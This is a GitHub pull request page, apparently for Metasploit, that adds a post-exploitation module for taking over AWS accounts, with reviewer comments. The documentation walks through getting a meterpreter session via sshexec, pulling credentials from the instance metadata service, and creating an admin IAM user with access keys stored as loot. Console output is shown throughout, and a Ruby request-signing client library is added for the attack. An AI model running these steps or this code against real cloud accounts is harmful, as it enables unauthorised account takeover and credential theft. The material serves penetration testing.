-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Creates an AWS IAM User from pwned AWS host #7604
Changes from 12 commits
0eaeeb4
43e1b5b
c485870
b4add59
0700b17
83e0a21
53a6658
a49a983
f8789fe
46ce1df
cb03136
497e029
8f21a1f
a13382c
0b46e90
1c3f043
48c9e7d
99ba1e4
a9cb08a
ee0e5e8
33add4c
aaa4955
162204b
3e412a8
70668c2
35340ec
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
# aws_create_iam_user | ||
|
||
aws_create_iam_user is a simple post module that can be used to take over AWS | ||
accounts. Sure, it is fun enough to take over a single host, but you can own all | ||
hosts in the account if you simply create an admin user. | ||
|
||
## Privileges | ||
|
||
This module depends on administrators being lazy and not using the least | ||
privileges possible. Only on rare cases should instances have the following | ||
privileges. | ||
|
||
* iam:CreateUser | ||
* iam:CreateGroup | ||
* iam:PutGroupPolicy | ||
* iam:AddUserToGroup | ||
* iam:CreateAccessKey | ||
|
||
## Establish a foothold | ||
|
||
You first need a foothold in AWS, e.g., here we use `sshexec` to get the | ||
foothold and launch a meterpreter session. | ||
|
||
``` | ||
$ ./msfconsole | ||
... | ||
msf > use exploit/multi/ssh/sshexec | ||
msf exploit(sshexec) > set password some_user | ||
password => some_user | ||
msf exploit(sshexec) > set username some_user | ||
username => some_user | ||
msf exploit(sshexec) > set RHOST 192.168.1.2 | ||
RHOST => 192.168.1.2 | ||
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp | ||
payload => linux/x86/meterpreter/bind_tcp | ||
msf exploit(sshexec) > exploit -j | ||
[*] Exploit running as background job. | ||
|
||
[*] Started bind handler | ||
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager... | ||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes) | ||
[*] Command Stager progress - 42.09% done (306/727 bytes) | ||
[*] Command Stager progress - 100.00% done (727/727 bytes) | ||
[*] Sending stage (1495599 bytes) to 192.168.1.2 | ||
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000 | ||
``` | ||
|
||
We will be using session 1. | ||
|
||
``` | ||
msf exploit(sshexec) > sessions | ||
|
||
Active sessions | ||
=============== | ||
|
||
Id Type Information Connection | ||
-- ---- ----------- ---------- | ||
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2) | ||
|
||
``` | ||
|
||
## Create IAM User | ||
|
||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Please also document the usage of the other options, in particular the IAM_USERNAME, SecretAccessKey, AccessKeyId. |
||
Now you can load `aws_create_iam_user` and specify a meterpreter sesssion, | ||
e.g., `SESSION 1`. | ||
|
||
``` | ||
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user | ||
msf post(aws_create_iam_user) > set SESSION 1 | ||
SESSION => 1 | ||
msf post(aws_create_iam_user) > exploit | ||
|
||
[*] 169.254.169.254:80 - looking for creds... | ||
[*] Creating user: metasploit | ||
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)... | ||
[!] Path: / | ||
[!] UserName: metasploit | ||
[!] Arn: arn:aws:iam::097986286576:user/metasploit | ||
[!] UserId: AIDA... | ||
[!] CreateDate: 2016-11-21T17:59:50.010Z | ||
[*] Creating group: metasploit | ||
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)... | ||
[!] Path: / | ||
[!] GroupName: metasploit | ||
[!] Arn: arn:aws:iam::097986286576:group/metasploit | ||
[!] GroupId: AGPAIENI6YTM5JVRQ2452 | ||
[!] CreateDate: 2016-11-21T17:59:50.554Z | ||
[*] Creating group policy: metasploit | ||
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)... | ||
[!] xmlns: https://iam.amazonaws.com/doc/2010-05-08/ | ||
[!] ResponseMetadata: {"RequestId"=>"4c43248-d314-1226-bedd-234234232"} | ||
[*] Adding user (metasploit) to group: metasploit | ||
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)... | ||
[!] xmlns: https://iam.amazonaws.com/doc/2010-05-08/ | ||
[!] ResponseMetadata: {"RequestId"=>"4c43248-d314-1226-bedd-234234232"} | ||
[*] Creating API Keys for metasploit | ||
[*] iam.amazonaws.com:443 - Connecting (iam.amazonaws.com)... | ||
[!] AccessKeyId: AKIA... | ||
[!] SecretAccessKey: THE SECRET ACCESS KEY... | ||
[!] AccessKeySelector: HMAC | ||
[!] UserName: metasploit | ||
[!] Status: Active | ||
[!] CreateDate: 2016-11-21T17:59:51.967Z | ||
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt | ||
[*] Post module execution completed | ||
msf post(aws_create_iam_user) > exit -y | ||
``` | ||
|
||
You can see the API keys stored in loot: | ||
|
||
``` | ||
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt | ||
|
||
{"AccessKeyId":"AKIA...","SecretAccessKey":"THE SECRET ACCESS KEY...","AccessKeySelector":"HMAC","UserName":"metasploit","Status":"Active","CreateDate":"2016-11-21T17:59:51.967Z"} | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. What should the user do with this information? How specifically should they use these credentials? |
||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,179 @@ | ||
require 'openssl' | ||
|
||
module Metasploit | ||
module Framework | ||
module Aws | ||
module Client | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It would be excellent if there were specs for this client, or at least the critical parts. Some seem easily testable, others not. See what you can do and we can lend a hand. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. On it. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Added spec, please advice. |
||
USER_AGENT = "aws-sdk-ruby2/2.6.27 ruby/2.3.2 x86_64-darwin15" | ||
include Msf::Exploit::Remote::HttpClient | ||
# because Post modules require these to be defined when including HttpClient | ||
def register_autofilter_ports(ports=[]); end | ||
def register_autofilter_hosts(ports=[]); end | ||
def register_autofilter_services(services=[]); end | ||
|
||
def hexdigest(value) | ||
if value.nil? || !value.instance_of?(String) | ||
print_error "Unexpected value format" | ||
return nil | ||
end | ||
digest = OpenSSL::Digest::SHA256.new | ||
if value.respond_to?(:read) | ||
chunk = nil | ||
chunk_size = 1024 * 1024 # 1 megabyte | ||
digest.update(chunk) while chunk = value.read(chunk_size) | ||
value.rewind | ||
else | ||
digest.update(value) | ||
end | ||
digest.hexdigest | ||
end | ||
|
||
def hmac(key, value) | ||
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String) | ||
print_error "Unexpected key/value format" | ||
return nil | ||
end | ||
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, value) | ||
end | ||
|
||
def hexhmac(key, value) | ||
if key.nil? || !key.instance_of?(String) || value.nil? || !value.instance_of?(String) | ||
print_error "Unexpected key/value format" | ||
return nil | ||
end | ||
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, value) | ||
end | ||
|
||
def request_to_sign(headers, body_digest) | ||
if headers.nil? || !headers.instance_of?(Hash) || body_digest.nil? || !body_digest.instance_of?(String) | ||
return nil, nil | ||
end | ||
headers_block = headers.sort_by(&:first).map do |k,v| | ||
v = "#{v},#{v}" if k == 'Host' | ||
"#{k.downcase}:#{v}" | ||
end.join("\n") | ||
headers_list = headers.keys.sort.map(&:downcase).join(';') | ||
flat_request = [ "POST", "/", '', headers_block + "\n", headers_list, body_digest].join("\n") | ||
[headers_list, flat_request] | ||
end | ||
|
||
def sign(creds, service, headers, body_digest, now) | ||
date_mac = hmac("AWS4" + creds.fetch('SecretAccessKey'), now[0, 8]) | ||
region_mac = hmac(date_mac, datastore['Region']) | ||
service_mac = hmac(region_mac, service) | ||
credentials_mac = hmac(service_mac, 'aws4_request') | ||
headers_list, flat_request = request_to_sign(headers, body_digest) | ||
doc = "AWS4-HMAC-SHA256\n#{now}\n#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request\n#{hexdigest(flat_request)}" | ||
|
||
signature = hexhmac(credentials_mac, doc) | ||
[headers_list, signature] | ||
end | ||
|
||
def auth(creds, service, headers, body_digest, now) | ||
headers_list, signature = sign(creds, service, headers, body_digest, now) | ||
"AWS4-HMAC-SHA256 Credential=#{creds.fetch('AccessKeyId')}/#{now[0, 8]}/#{datastore['Region']}/#{service}/aws4_request, SignedHeaders=#{headers_list}, Signature=#{signature}" | ||
end | ||
|
||
def body(vars_post) | ||
pstr = "" | ||
vars_post.each_pair do |var,val| | ||
pstr << '&' if pstr.length > 0 | ||
pstr << var | ||
pstr << '=' | ||
pstr << val | ||
end | ||
pstr | ||
end | ||
|
||
def headers(creds, service, body_digest, body_length, now = nil) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
now = Time.now.utc.strftime("%Y%m%dT%H%M%SZ") if now.nil? | ||
headers = { | ||
'Content-Type' => 'application/x-www-form-urlencoded; charset=utf-8', | ||
'Accept-Encoding' => '', | ||
'User-Agent' => USER_AGENT, | ||
'X-Amz-Date' => now, | ||
'Host' => datastore['RHOST'], | ||
'X-Amz-Content-Sha256' => body_digest, | ||
'Accept' => '*/*' | ||
} | ||
headers['X-Amz-Security-Token'] = creds['Token'] if creds['Token'] | ||
sign_headers = ['Content-Type', 'Host', 'User-Agent', 'X-Amz-Content-Sha256', 'X-Amz-Date'] | ||
auth_headers = headers.select { |k, _| sign_headers.include?(k) } | ||
headers['Authorization'] = auth(creds, service, auth_headers, body_digest, now) | ||
headers | ||
end | ||
|
||
def print_hsh(hsh) | ||
return if hsh.nil? || !hsh.instance_of?(Hash) | ||
hsh.each do |key, value| | ||
print_warning "#{key}: #{value}" | ||
end | ||
end | ||
|
||
def print_results(doc, action) | ||
response = "#{action}Response" | ||
result = "#{action}Result" | ||
resource = /[A-Z][a-z]+([A-Za-z]+)/.match(action)[1] | ||
|
||
if doc["ErrorResponse"] && doc["ErrorResponse"]["Error"] | ||
print_error doc["ErrorResponse"]["Error"]["Message"] | ||
return nil | ||
end | ||
|
||
idoc = doc.fetch(response) | ||
if idoc.nil? || !idoc.instance_of?(Hash) | ||
print_error "Unexpected response structure" | ||
return {} | ||
end | ||
idoc = idoc[result] if idoc[result] | ||
idoc = idoc[resource] if idoc[resource] | ||
|
||
if idoc["member"] | ||
idoc["member"].each do |x| | ||
print_hsh x | ||
end | ||
else | ||
print_hsh idoc | ||
end | ||
idoc | ||
end | ||
|
||
def call_api(creds, service, api_params) | ||
print_status("#{peer} - Connecting (#{datastore['RHOST']})...") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
body = body(api_params) | ||
body_length = body.length | ||
body_digest = hexdigest(body) | ||
begin | ||
res = send_request_raw( | ||
'method' => 'POST', | ||
'data' => body, | ||
'headers' => headers(creds, service, body_digest, body_length) | ||
) | ||
if res.nil? | ||
print_error "#{peer} did not respond" | ||
else | ||
Hash.from_xml(res.body) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. What happens when the currently effective role doesn't have access to the particular API being called? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. AWS will respond with an error message which can be printed out with
e.g.,
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 👍 |
||
end | ||
rescue => e | ||
print_error e.message | ||
end | ||
end | ||
|
||
def call_iam(creds, api_params) | ||
api_params['Version'] = '2010-05-08' unless api_params['Version'] | ||
call_api(creds, 'iam', api_params) | ||
end | ||
|
||
def call_ec2(creds, api_params) | ||
api_params['Version'] = '2015-10-01' unless api_params['Version'] | ||
call_api(creds, 'ec2', api_params) | ||
end | ||
|
||
def call_sts(creds, api_params) | ||
api_params['Version'] = '2011-06-15' unless api_params['Version'] | ||
call_api(creds, 'sts', api_params) | ||
end | ||
end | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor, but add a blank line to start this section (like you did previously)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
got it.